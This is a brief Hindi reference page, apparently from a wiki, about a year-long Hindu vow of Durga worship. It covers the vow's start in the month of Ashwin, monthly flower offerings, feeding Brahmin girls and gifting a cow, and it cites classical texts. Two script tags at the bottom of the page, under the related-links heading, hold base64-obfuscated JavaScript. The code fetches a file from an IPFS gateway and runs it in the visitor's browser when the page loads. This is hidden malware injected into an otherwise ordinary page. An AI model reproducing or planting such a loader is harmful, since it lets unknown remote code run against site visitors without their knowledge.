- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- आश्विन शुक्ल पक्ष पर आरम्भ होता है।
- यह व्रत एक वर्ष के लिए किया जाता है।
- विभिन्न नामों के अंतर्गत दुर्गा की पूजा की जाती है।
- प्रत्येक मास में विभिन्न पुष्पों का प्रयोग, ब्राह्मण कुमारियों को भोजन कराया जाता है।
- अन्त में दुर्गा भक्त ब्राह्मणों को गौ दान एवं भरपेट भोजन कराया जाता है।
- सभी पापों से मुक्ति मिल जाती है।
- दुर्गालोक की प्राप्ति होती है।[1]
टीका टिप्पणी और संदर्भ
- ↑ कृत्यकल्पतरु (व्रतखण्ड 283-298); हेमाद्रि (व्रतखण्ड 1, 928-933)।
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>